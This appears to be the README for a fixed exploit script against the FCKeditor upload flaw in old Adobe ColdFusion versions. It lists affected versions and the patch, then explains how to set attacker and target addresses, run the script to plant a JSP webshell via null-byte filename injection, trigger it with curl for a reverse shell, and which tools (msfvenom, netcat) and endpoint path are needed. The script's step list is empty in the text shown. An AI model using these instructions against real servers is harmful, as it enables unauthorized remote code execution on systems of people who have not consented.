
fix for not working exploit script on exploitdb (50057.py)
Unauthenticated remote code execution via arbitrary file upload in the FCKeditor component bundled with ColdFusion. The file upload endpoint accepts a null-byte injection in the filename parameter, allowing a JSP webshell to be uploaded and executed directly by the server.
| Version | Status |
|---|
| ColdFusion 8.0 | Vulnerable |
| ColdFusion 8.0.1 | Vulnerable |
| ColdFusion 9.0 | Vulnerable* |
| ColdFusion MX 6.x | Vulnerable |
| ColdFusion MX 7.x | Vulnerable |
| ColdFusion 9.0.1+ | Patched |
| ColdFusion 10+ | Not affected |
*ColdFusion 9.0 vulnerable if FCKeditor component not removed/updated.
Patch: Adobe Security Bulletin APSB09-09 (July 2009).
Edit the variables at the top of the script:
lhost = 'YOUR_IP'
lport = 4444
rhost = 'TARGET_IP'
rport = 8500
Run:
python3 poc.py
The script will:
If the shell does not arrive within a few seconds, trigger it manually:
curl http://<rhost>:<rport>/userfiles/file/<filename>.jsp
The filename is printed to stdout after upload.
msfvenom
netcat (nc)
python3
/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm